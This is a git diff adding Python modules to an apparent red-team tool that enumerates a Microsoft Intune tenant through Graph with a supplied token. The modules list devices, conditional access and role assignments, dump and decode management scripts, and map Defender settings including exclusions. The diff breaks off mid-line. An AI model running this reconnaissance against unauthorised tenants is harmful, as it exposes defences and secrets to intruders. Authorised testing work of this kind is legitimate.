Graphpython/commands/graphpermissions.txt diff --git a/Graphpython/commands/intune_enum.py b/Graphpython/commands/intune_enum.py new file mode 100644 index 0000000..9ed9f02 --- /dev/null +++ b/Graphpython/commands/intune_enum.py @@ -0,0 +1,380 @@ +import requests +import json +from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token +from Graphpython.utils.helpers import graph_api_get + +################################ +# Post-Auth Intune Enumeration # +################################ + +# get-manageddevices +def get_manageddevices(args): + print_yellow("[*] Get-ManagedDevices") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-userdevices +def get_userdevices(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-UserDevices command") + return + + print_yellow("[*] Get-UserDevices") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/deviceManagement/managedDevices?$filter=userPrincipalName eq '{args.id}'" + + if args.select: + api_url += "&$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-caps +def get_caps(args): + print_yellow("[*] Get-CAPs") + print("=" * 80) + api_url = "https://graph.microsoft.com//beta/identity/conditionalAccess/policies" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-devicecategories +def get_devicecategories(args): + print_yellow("[*] Get-DeviceCategories") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceCategories" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-devicecompliancesummary +def get_devicecompliancesummary(args): + print_yellow("[*] Get-DeviceComplianceSummary") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceCompliancePolicyDeviceStateSummary" + if args.select: + api_url += "?$select=" + args.select + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.ok: + response_body = response.json() + for key, value in response_body.items(): + if not key.startswith("@odata.context"): + pretty_value = json.dumps(value, indent=4) + print(f"{key}: {pretty_value}") + else: + print_red(f"[-] Failed to retrieve settings: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# get-deviceconfigurations +def get_deviceconfigurations(args): + print_yellow("[*] Get-DeviceConfigurations") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceConfigurations" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-deviceconfigurationpolicysettings +def get_deviceconfigurationpolicysettings(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-DeviceConfigurationPolicySettings command") + return + + print_yellow("[*] Get-DeviceConfigurationPolicySettings") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings?expand=settingDefinitions" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + + if response.ok: + response_body = response.json() + for key, value in response_body.items(): + if not key.startswith("@odata.context"): + pretty_value = json.dumps(value, indent=4) + print(f"{key}: {pretty_value}") # redo this + else: + print_red(f"[-] Failed to retrieve settings: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# get-deviceenrollmentconfigurations +def get_deviceenrollmentconfigurations(args): + print_yellow("[*] Get-DeviceEnrollmentConfigurations") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceEnrollmentConfigurations" + if args.select: + api_url += "?$select=" + args.select + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-devicegrouppolicyconfigurations +def get_devicegrouppolicyconfigurations(args): + print_yellow("[*] Get-DeviceGroupPolicyConfigurations") + print("=" * 80) + api_url = "https://graph.microsoft.com/beta/deviceManagement/groupPolicyConfigurations" + + if args.select: + api_url += "?$select=" + args.select + + user_agent = get_user_agent(args) + headers = { + 'Authorization': 'Bearer ' + get_access_token(args.token), + 'Accept': 'application/json', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + + if response.status_code == 200: + group_policies = response.json() + else: + print_red(f"[-] Error: API request failed with status code {response.status_code}") + group_policies = None + + if group_policies and 'value' in group_policies: + for policy in group_policies['value']: + for key, value in policy.items(): + print(f"{key} : {value}") + + policy_id = policy.get('id') + if policy_id: + assignments_api_url = f"https://graph.microsoft.com/beta/deviceManagement/groupPolicyConfigurations/{policy_id}/assignments" + assignments_response = requests.get(assignments_api_url, headers=headers) + + if assignments_response.status_code == 200: + assignments = assignments_response.json() + if not assignments.get('value'): + print_red("assignmentTarget: No assignments") + else: + print_green("assignmentTargets:") + for assignment in assignments.get('value', []): + if 'target' in assignment: + target = assignment['target'] + odata_type = target.get('@odata.type', '').split('.')[-1] + if odata_type == 'exclusionGroupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f"- Excluded Group ID: {group_id}") + elif odata_type == 'allLicensedUsersAssignmentTarget': + print("- Assigned to all users") + elif odata_type == 'allDevicesAssignmentTarget': + print("- Assigned to all devices") + elif odata_type == 'groupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f"- Assigned to Group ID: {group_id}") + else: + print(f" {odata_type}: {target}") + else: + print_red("assignmentTarget: No assignments") + else: + print_red(f"[-] Error: API request for assignments failed with status code {assignments_response.status_code}") + print("\n") + print("=" * 80) + +# get-devicegrouppolicydefinition +# - remove +def get_devicegrouppolicydefinition(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-DeviceGroupPolicyDefinition command") + return + + print_yellow("[*] Get-DeviceGroupPolicyDefinition") + print("=" * 80) + api_url = f"https://graph.microsoft.com//beta/deviceManagement/groupPolicyConfigurations('{args.id}')/definitionValues?$expand=definition($select=id,classType,displayName,policyType,hasRelatedDefinitions,version,minUserCspVersion,minDeviceCspVersion)" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-roledefinitions +def get_roledefinitions(args): + print_yellow("[*] Get-RoleDefinitions") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/deviceManagement/roleDefinitions" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-roleassignments +def get_roleassignments(args): + print_yellow("[*] Get-RoleAssignments") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/deviceManagement/roleAssignments" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-devicecompliancepolicies +def get_devicecompliancepolicies(args): + print_yellow("[*] Get-DeviceCompliancePolicies") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceCompliancePolicies?$expand=scheduledActionsForRule($expand=scheduledActionConfigurations)" + if args.select: + api_url += "&$select=" + args.select + + try: + user_agent = get_user_agent(args) + headers = { + "Authorization": f"Bearer {get_access_token(args.token)}", + "Accept": "application/json", + "User-Agent": user_agent + } + + response = requests.get(api_url, headers=headers) + response.raise_for_status() + policies = response.json() + + if policies and 'value' in policies: + for policy in policies['value']: + for key, value in policy.items(): + if key not in ['assignments', 'scheduledActionsForRule']: + print(f"{key} : {value}") + + # Display assignments for each policy + policy_id = policy.get('id') + if policy_id: + assignments_api_url = f"https://graph.microsoft.com/v1.0/deviceManagement/deviceCompliancePolicies('{policy_id}')/assignments" + assignments_response = requests.get(assignments_api_url, headers=headers) + assignments_response.raise_for_status() + assignments = assignments_response.json() + + if not assignments.get('value'): + print_red("assignments: None") + else: + print_green("assignments:") + for assignment in assignments.get('value', []): + if 'target' in assignment: + target = assignment['target'] + odata_type = target.get('@odata.type', '').split('.')[-1] + if odata_type == 'exclusionGroupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f"- Excluded Group ID: {group_id}") + elif odata_type == 'allLicensedUsersAssignmentTarget': + print("- Assigned to all users") + elif odata_type == 'allDevicesAssignmentTarget': + print("- Assigned to all devices") + elif odata_type == 'groupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f"- Assigned to Group ID: {group_id}") + else: + print(f"- {odata_type}: {target}") + + # Display scheduled actions for rule + scheduled_actions = policy.get('scheduledActionsForRule', []) + if not scheduled_actions: + print_red("scheduledActionsForRule: None") + else: + print_green("scheduledActionsForRule:") + for action in scheduled_actions: + #print(f"- Config ID: {action.get('id')}") + for config in action.get('scheduledActionConfigurations', []): + print(f" - Action Type: {config.get('actionType')}") + print(f" - Grace Period Hours: {config.get('gracePeriodHours')}") + print(f" - Notification Template Type: {config.get('notificationTemplateType')}") + + print("\n") + else: + print_red("[-] No data found") + except requests.exceptions.RequestException as ex: + print_red(f"[-] HTTP Error: {ex}") + print("=" * 80) + +# get-deviceconfigurationpolicies +def get_deviceconfigurationpolicies(args): + print_yellow("[*] Get-DeviceConfigurationPolicies") + print("=" * 80) + api_url = "https://graph.microsoft.com/beta/deviceManagement/configurationPolicies" + if args.select: + api_url += "?$select=" + args.select + + user_agent = get_user_agent(args) + headers = { + 'Authorization': 'Bearer ' + get_access_token(args.token), + 'Accept': 'application/json', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + + if response.status_code == 200: + policies = response.json() + else: + print_red(f"[-] Error: API request failed with status code {response.status_code}") + policies = None + print("=" * 80) + + if policies and 'value' in policies: + for policy in policies['value']: + for key, value in policy.items(): + print(f"{key} : {value}") + + if 'templateReference' in policy and 'templateDisplayName' in policy['templateReference']: + print(f"template: {policy['templateReference']['templateDisplayName']}") + + # display assignments for each policy + policy_id = policy.get('id') + if policy_id: + assignments_api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{policy_id}')/assignments" + assignments_response = requests.get(assignments_api_url, headers=headers) + + if assignments_response.status_code == 200: + assignments = assignments_response.json() + if not assignments.get('value'): + print_red("assignments: None") + else: + print_green("assignments:") + for assignment in assignments.get('value', []): + if 'target' in assignment: + target = assignment['target'] + odata_type = target.get('@odata.type', '').split('.')[-1] + if odata_type == 'exclusionGroupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f"- Excluded Group ID: {group_id}") + elif odata_type == 'allLicensedUsersAssignmentTarget': + print("- Assigned to all users") + elif odata_type == 'allDevicesAssignmentTarget': + print("- Assigned to all devices") + elif odata_type == 'groupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f"- Assigned to Group ID: {group_id}") + else: + print(f"- {odata_type}: {target}") + else: + print_red(f"[-] Error: API request for assignments failed with status code {assignments_response.status_code}") + print("\n") + print("=" * 80) \ No newline at end of file diff --git a/Graphpython/commands/intune_exploit.py b/Graphpython/commands/intune_exploit.py new file mode 100644 index 0000000..401d810 --- /dev/null +++ b/Graphpython/commands/intune_exploit.py @@ -0,0 +1,2023 @@ +import requests +import json +import sys +import base64 +from tabulate import tabulate +from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token +from Graphpython.utils.helpers import read_file_content, graph_api_get + +################################# +# Post-Auth Intune Exploitation # +################################# + +# dump-devicemanagementscripts +def dump_devicemanagementscripts(args): + print_yellow("[*] Dump-DeviceManagementScripts") + print("=" * 80) + api_url = "https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts" + if args.select: + api_url += "?$select=" + args.select + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# dump-windowsapps +def dump_windowsapps(args): + print_yellow("[*] Dump-WindowsApps") + print("=" * 80) + api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps?$filter=(isof(%27microsoft.graph.win32CatalogApp%27)%20or%20isof(%27microsoft.graph.windowsStoreApp%27)%20or%20isof(%27microsoft.graph.microsoftStoreForBusinessApp%27)%20or%20isof(%27microsoft.graph.officeSuiteApp%27)%20or%20(isof(%27microsoft.graph.win32LobApp%27)%20and%20not(isof(%27microsoft.graph.win32CatalogApp%27)))%20or%20isof(%27microsoft.graph.windowsMicrosoftEdgeApp%27)%20or%20isof(%27microsoft.graph.windowsPhone81AppX%27)%20or%20isof(%27microsoft.graph.windowsPhone81StoreApp%27)%20or%20isof(%27microsoft.graph.windowsPhoneXAP%27)%20or%20isof(%27microsoft.graph.windowsAppX%27)%20or%20isof(%27microsoft.graph.windowsMobileMSI%27)%20or%20isof(%27microsoft.graph.windowsUniversalAppX%27)%20or%20isof(%27microsoft.graph.webApp%27)%20or%20isof(%27microsoft.graph.windowsWebApp%27)%20or%20isof(%27microsoft.graph.winGetApp%27))%20and%20(microsoft.graph.managedApp/appAvailability%20eq%20null%20or%20microsoft.graph.managedApp/appAvailability%20eq%20%27lineOfBusiness%27%20or%20isAssigned%20eq%20true)&$orderby=displayName&" + + if args.select: + api_url += "$select=" + args.select # some fields will 400 whole req + if args.id: + api_url = f"https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/{args.id}?$expand=assignments" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + try: + response = requests.get(api_url, headers=headers) + response.raise_for_status() + json_data = response.json() + json_data.pop('@odata.context', None) + json_data.pop('assignments@odata.context', None) + for key, value in json_data.items(): + if key == 'assignments': + if not value: + print_red("assignments: None") + else: + print_green("assignments:") + for assignment in value: + print(f" - ID: {assignment['id']}") + print(f" Intent: {assignment['intent']}") + if 'target' in assignment: + target = assignment['target'] + odata_type = target.get('@odata.type', '').split('.')[-1] + print(f" Target:") + if odata_type == 'exclusionGroupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f" Excluded Group ID: {group_id}") + elif odata_type == 'allLicensedUsersAssignmentTarget': + print(" Assigned to all users") + elif odata_type == 'allDevicesAssignmentTarget': + print(" Assigned to all devices") + elif odata_type == 'groupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f" Assigned to Group ID: {group_id}") + else: + print(f" {odata_type}: {target}") + print() + else: + print(f"{key}: {value}") + except requests.exceptions.RequestException as ex: + print_red(f"[-] HTTP Error: {ex}") + print("=" * 80) + return + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# dump-iosapps +def dump_iosapps(args): + print_yellow("[*] Dump-iOSApps") + print("=" * 80) + api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps?$filter=((isof(%27microsoft.graph.managedIOSStoreApp%27)%20and%20microsoft.graph.managedApp/appAvailability%20eq%20microsoft.graph.managedAppAvailability%27lineOfBusiness%27)%20or%20isof(%27microsoft.graph.iosLobApp%27)%20or%20isof(%27microsoft.graph.iosStoreApp%27)%20or%20isof(%27microsoft.graph.iosVppApp%27)%20or%20isof(%27microsoft.graph.managedIOSLobApp%27)%20or%20(isof(%27microsoft.graph.managedIOSStoreApp%27)%20and%20microsoft.graph.managedApp/appAvailability%20eq%20microsoft.graph.managedAppAvailability%27global%27)%20or%20isof(%27microsoft.graph.webApp%27)%20or%20isof(%27microsoft.graph.iOSiPadOSWebClip%27))%20and%20(microsoft.graph.managedApp/appAvailability%20eq%20null%20or%20microsoft.graph.managedApp/appAvailability%20eq%20%27lineOfBusiness%27%20or%20isAssigned%20eq%20true)&$orderby=displayName&" + + if args.select: + api_url += "$select=" + args.select # some fields will 400 whole req + if args.id: + api_url = f"https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/{args.id}?$expand=assignments" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + try: + response = requests.get(api_url, headers=headers) + response.raise_for_status() + json_data = response.json() + json_data.pop('@odata.context', None) + json_data.pop('assignments@odata.context', None) + for key, value in json_data.items(): + if key == 'assignments': + if not value: + print_red("assignments: None") + else: + print_green("assignments:") + for assignment in value: + print(f" - ID: {assignment['id']}") + print(f" Intent: {assignment['intent']}") + if 'target' in assignment: + target = assignment['target'] + odata_type = target.get('@odata.type', '').split('.')[-1] + print(f" Target:") + if odata_type == 'exclusionGroupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f" Excluded Group ID: {group_id}") + elif odata_type == 'allLicensedUsersAssignmentTarget': + print(" Assigned to all users") + elif odata_type == 'allDevicesAssignmentTarget': + print(" Assigned to all devices") + elif odata_type == 'groupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f" Assigned to Group ID: {group_id}") + else: + print(f" {odata_type}: {target}") + print() + else: + print(f"{key}: {value}") + except requests.exceptions.RequestException as ex: + print_red(f"[-] HTTP Error: {ex}") + print("=" * 80) + return + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# dump-macosapps +def dump_macosapps(args): + print_yellow("[*] Dump-macOSApps") + print("=" * 80) + api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps?$filter=(isof(%27microsoft.graph.macOSDmgApp%27)%20or%20isof(%27microsoft.graph.macOSPkgApp%27)%20or%20isof(%27microsoft.graph.macOSLobApp%27)%20or%20isof(%27microsoft.graph.macOSMicrosoftEdgeApp%27)%20or%20isof(%27microsoft.graph.macOSMicrosoftDefenderApp%27)%20or%20isof(%27microsoft.graph.macOSOfficeSuiteApp%27)%20or%20isof(%27microsoft.graph.macOsVppApp%27)%20or%20isof(%27microsoft.graph.webApp%27)%20or%20isof(%27microsoft.graph.macOSWebClip%27))%20and%20(microsoft.graph.managedApp/appAvailability%20eq%20null%20or%20microsoft.graph.managedApp/appAvailability%20eq%20%27lineOfBusiness%27%20or%20isAssigned%20eq%20true)&$orderby=displayName&" + + if args.select: + api_url += "$select=" + args.select # some fields will 400 whole req + if args.id: + api_url = f"https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/{args.id}?$expand=assignments" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + try: + response = requests.get(api_url, headers=headers) + response.raise_for_status() + json_data = response.json() + json_data.pop('@odata.context', None) + json_data.pop('assignments@odata.context', None) + for key, value in json_data.items(): + if key == 'assignments': + if not value: + print_red("assignments: None") + else: + print_green("assignments:") + for assignment in value: + print(f" - ID: {assignment['id']}") + print(f" Intent: {assignment['intent']}") + if 'target' in assignment: + target = assignment['target'] + odata_type = target.get('@odata.type', '').split('.')[-1] + print(f" Target:") + if odata_type == 'exclusionGroupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f" Excluded Group ID: {group_id}") + elif odata_type == 'allLicensedUsersAssignmentTarget': + print(" Assigned to all users") + elif odata_type == 'allDevicesAssignmentTarget': + print(" Assigned to all devices") + elif odata_type == 'groupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f" Assigned to Group ID: {group_id}") + else: + print(f" {odata_type}: {target}") + print() + else: + print(f"{key}: {value}") + except requests.exceptions.RequestException as ex: + print_red(f"[-] HTTP Error: {ex}") + print("=" * 80) + return + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# dump-androidapps +def dump_androidapps(args): + print_yellow("[*] Dump-AndroidApps") + print("=" * 80) + api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps?$filter=((isof(%27microsoft.graph.androidManagedStoreApp%27)%20and%20microsoft.graph.androidManagedStoreApp/isSystemApp%20eq%20true)%20or%20isof(%27microsoft.graph.androidLobApp%27)%20or%20isof(%27microsoft.graph.androidStoreApp%27)%20or%20(isof(%27microsoft.graph.managedAndroidStoreApp%27)%20and%20microsoft.graph.managedApp/appAvailability%20eq%20microsoft.graph.managedAppAvailability%27lineOfBusiness%27)%20or%20isof(%27microsoft.graph.managedAndroidLobApp%27)%20or%20(isof(%27microsoft.graph.managedAndroidStoreApp%27)%20and%20microsoft.graph.managedApp/appAvailability%20eq%20microsoft.graph.managedAppAvailability%27global%27)%20or%20(isof(%27microsoft.graph.androidManagedStoreApp%27)%20and%20microsoft.graph.androidManagedStoreApp/isSystemApp%20eq%20false)%20or%20isof(%27microsoft.graph.webApp%27))%20and%20(microsoft.graph.managedApp/appAvailability%20eq%20null%20or%20microsoft.graph.managedApp/appAvailability%20eq%20%27lineOfBusiness%27%20or%20isAssigned%20eq%20true)&$orderby=displayName&" + + if args.select: + api_url += "$select=" + args.select # some fields will 400 whole req + if args.id: + api_url = f"https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/{args.id}?$expand=assignments" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + try: + response = requests.get(api_url, headers=headers) + response.raise_for_status() + json_data = response.json() + json_data.pop('@odata.context', None) + json_data.pop('assignments@odata.context', None) + for key, value in json_data.items(): + if key == 'assignments': + if not value: + print_red("assignments: None") + else: + print_green("assignments:") + for assignment in value: + print(f" - ID: {assignment['id']}") + print(f" Intent: {assignment['intent']}") + if 'target' in assignment: + target = assignment['target'] + odata_type = target.get('@odata.type', '').split('.')[-1] + print(f" Target:") + if odata_type == 'exclusionGroupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f" Excluded Group ID: {group_id}") + elif odata_type == 'allLicensedUsersAssignmentTarget': + print(" Assigned to all users") + elif odata_type == 'allDevicesAssignmentTarget': + print(" Assigned to all devices") + elif odata_type == 'groupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f" Assigned to Group ID: {group_id}") + else: + print(f" {odata_type}: {target}") + print() + else: + print(f"{key}: {value}") + except requests.exceptions.RequestException as ex: + print_red(f"[-] HTTP Error: {ex}") + print("=" * 80) + return + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-scriptcontent +def get_scriptcontent(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-ScriptContent command") + return + + print_yellow("[*] Get-ScriptContent") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts/{args.id}" + + if args.select: + api_url += "&$select=" + args.select + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + try: + response = requests.get(api_url, headers=headers) + response.raise_for_status() + json_data = response.json() + json_data.pop('@odata.context', None) + + script_content = json_data.get('scriptContent') + if script_content: + decoded_script_content = base64.b64decode(script_content).decode('utf-8') + json_data['scriptContent'] = decoded_script_content + json_data.pop('scriptContent', None) + for key, value in json_data.items(): + print(f"{key} : {value}") + if script_content: + print("scriptContent :\n") + print(decoded_script_content) + except requests.exceptions.RequestException as ex: + print(f"[-] HTTP Error: {ex}") + print("=" * 80) + +# display-avpolicyrules +def display_avpolicyrules(args): + if not args.id: + print_red("[-] Error: --id argument is required for Display-AVPolicyRules command") + return + + print_yellow("[*] Display-AVPolicyRules") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" + if args.select: + api_url += "?$select=" + args.select + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + settings_map = { + "device_vendor_msft_policy_config_defender_threatseveritydefaultaction_highseveritythreats": { + "description": "Remediation action for High severity threats", + "values": { + "4=1": "Clean (service tries to recover files and try to disinfect)", + "4=2": "Quarantine (moves files to quarantine)", + "4=3": "Remove (removes files from system)", + "4=6": "Allow (allows file/does none of the above actions)", + "4=8": "User defined (requires user to make a decision on which action to take)", + "4=10": "Block (blocks file execution)" + } + }, + "device_vendor_msft_policy_config_defender_threatseveritydefaultaction_lowseveritythreats": { + "description": "Remediation action for Low severity threats", + "values": { + "1=1": "Clean (service tries to recover files and try to disinfect)", + "1=2": "Quarantine (moves files to quarantine)", + "1=3": "Remove (removes files from system)", + "1=6": "Allow (allows file/does none of the above actions)", + "1=8": "User defined (requires user to make a decision on which action to take)", + "1=10": "Block (blocks file execution)" + } + }, + "device_vendor_msft_policy_config_defender_threatseveritydefaultaction_moderateseveritythreats": { + "description": "Remediation action for Moderate severity threats", + "values": { + "2=1": "Clean (service tries to recover files and try to disinfect)", + "2=2": "Quarantine (moves files to quarantine)", + "2=3": "Remove (removes files from system)", + "2=6": "Allow (allows file/does none of the above actions)", + "2=8": "User defined (requires user to make a decision on which action to take)", + "2=10": "Block (blocks file execution)" + } + }, + "device_vendor_msft_policy_config_defender_threatseveritydefaultaction_severethreats": { + "description": "Remediation action for Severe threats", + "values": { + "5=1": "Clean (service tries to recover files and try to disinfect)", + "5=2": "Quarantine (moves files to quarantine)", + "5=3": "Remove (removes files from system)", + "5=6": "Allow (allows file/does none of the above actions)", + "5=8": "User defined (requires user to make a decision on which action to take)", + "5=10": "Block (blocks file execution)" + } + }, + "device_vendor_msft_policy_config_defender_allowarchivescanning": { + "description": "Allow archive scanning", + "values": { + "0": "Not allowed (turns off scanning on archived files)", + "1": "Allowed (scans the archive files)" + } + }, + "device_vendor_msft_policy_config_defender_allowbehaviormonitoring": { + "description": "Allow behavior monitoring", + "values": { + "0": "Not allowed (turns off behavior monitoring)", + "1": "Allowed (turns on real-time behavior monitoring)" + } + }, + "device_vendor_msft_policy_config_defender_allowcloudprotection": { + "description": "Allow cloud protection", + "values": { + "0": "Not allowed (turns off Cloud Protection)", + "1": "Allowed (turns on Cloud Protection" + } + }, + "device_vendor_msft_policy_config_defender_allowemailscanning": { + "description": "Allow email scanning", + "values": { + "0": "Not allowed (turns off email scanning)", + "1": "Allowed (turns on email scanning)" + } + }, + "device_vendor_msft_policy_config_defender_allowfullscanonmappednetworkdrives": { + "description": "Allow full scan on mapped network drives", + "values": { + "0": "Not allowed (disables scanning on mapped network drives)", + "1": "Allowed (scans mapped network drives)" + } + }, + "device_vendor_msft_policy_config_defender_allowfullscanremovabledrivescanning": { + "description": "Allow full scan on removable drives", + "values": { + "0": "Not allowed (turns off scanning on removable drives)", + "1": "Allowed (scans removable drives)" + } + }, + "device_vendor_msft_policy_config_defender_allowintrusionpreventionsystem": { + "description": "Allow intrusion prevention system", + "values": { + "0": "Not allowed", + "1": "Allowed" + } + }, + "device_vendor_msft_policy_config_defender_allowioavprotection": { + "description": "Allow IOAV protection", + "values": { + "0": "Not allowed", + "1": "Allowed" + } + }, + "device_vendor_msft_policy_config_defender_allowrealtimemonitoring": { + "description": "Allow real-time monitoring", + "values": { + "0": "Not allowed", + "1": "Allowed" + } + }, + "device_vendor_msft_policy_config_defender_allowscanningnetworkfiles": { + "description": "Allow scanning network files", + "values": { + "0": "Not allowed", + "1": "Allowed" + } + }, + "device_vendor_msft_policy_config_defender_allowscriptscanning": { + "description": "Allow script scanning", + "values": { + "0": "Not allowed", + "1": "Allowed" + } + }, + "device_vendor_msft_policy_config_defender_allowuseruiaccess": { + "description": "Allow user UI access", + "values": { + "0": "Not allowed", + "1": "Allowed" + } + }, + "device_vendor_msft_policy_config_defender_checkforsignaturesbeforerunningscan": { + "description": "Check for signatures before running scan", + "values": { + "0": "Not required", + "1": "Required" + } + }, + "device_vendor_msft_policy_config_defender_cloudblocklevel": { + "description": "Cloud block level", + "values": { + "0": "Disabled", + "1": "Basic", + "2": "High" + } + }, + "device_vendor_msft_policy_config_defender_disablecatchupfullscan": { + "description": "Disable catch-up full scan", + "values": { + "0": "Enabled", + "1": "Disabled" + } + }, + "device_vendor_msft_policy_config_defender_disablecatchupquickscan": { + "description": "Disable catch-up quick scan", + "values": { + "0": "Enabled", + "1": "Disabled" + } + }, + "device_vendor_msft_policy_config_defender_enablelowcpupriority": { + "description": "Enable low CPU priority", + "values": { + "0": "Disabled", + "1": "Enabled" + } + }, + "device_vendor_msft_policy_config_defender_enablenetworkprotection": { + "description": "Enable network protection", + "values": { + "0": "Disabled", + "1": "Enabled" + } + }, + "device_vendor_msft_policy_config_defender_excludedextensions": { + "description": "Excluded extensions", + "values": {} + }, + "device_vendor_msft_policy_config_defender_excludedpaths": { + "description": "Excluded paths", + "values": {} + }, + "device_vendor_msft_policy_config_defender_excludedprocesses": { + "description": "Excluded processes", + "values": {} + }, + "device_vendor_msft_policy_config_defender_puaprotection": { + "description": "PUA protection", + "values": { + "0": "Disabled", + "1": "Enabled" + } + }, + "device_vendor_msft_policy_config_defender_realtimescandirection": { + "description": "Real-time scan direction", + "values": { + "0": "Both directions", + "1": "Inbound only", + "2": "Outbound only" + } + }, + "device_vendor_msft_policy_config_defender_scanparameter": { + "description": "Scan parameter", + "values": { + "0": "Quick scan", + "1": "Full scan" + } + } + } + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + for setting in response_json.get('value', []): + if 'settingInstance' in setting: + setting_instance = setting['settingInstance'] + setting_id = setting_instance.get('settingDefinitionId', '') + if setting_id in settings_map: + description = settings_map[setting_id]['description'] + + if setting_instance['@odata.type'] == '#microsoft.graph.deviceManagementConfigurationSimpleSettingCollectionInstance': + simple_setting_values = setting_instance.get('simpleSettingCollectionValue', []) + value_list = [simple_setting_value.get('value', '') for simple_setting_value in simple_setting_values if simple_setting_value.get('value')] + value = ', '.join(value_list) + print(f"{description} : {value}") + elif 'choiceSettingValue' in setting_instance: + value = setting_instance['choiceSettingValue'].get('value', '') + value_suffix = value[len(setting_id):].lstrip('_') + + if value_suffix in settings_map[setting_id]['values']: + mapped_value = settings_map[setting_id]['values'][value_suffix] + elif value_suffix == 'block': + mapped_value = 'BLOCK' + elif value_suffix == 'allow': + mapped_value = 'ALLOW' + else: + mapped_value = value_suffix.upper() + print(f"{mapped_value:<10} : {description}") + + # group setting collection values + for setting in response_json.get('value', []): + if 'settingInstance' in setting and 'groupSettingCollectionValue' in setting['settingInstance']: + group_settings = setting['settingInstance']['groupSettingCollectionValue'] + for group_setting in group_settings: + for child in group_setting.get('children', []): + choice_setting_value = child.get('choiceSettingValue', {}) + value = 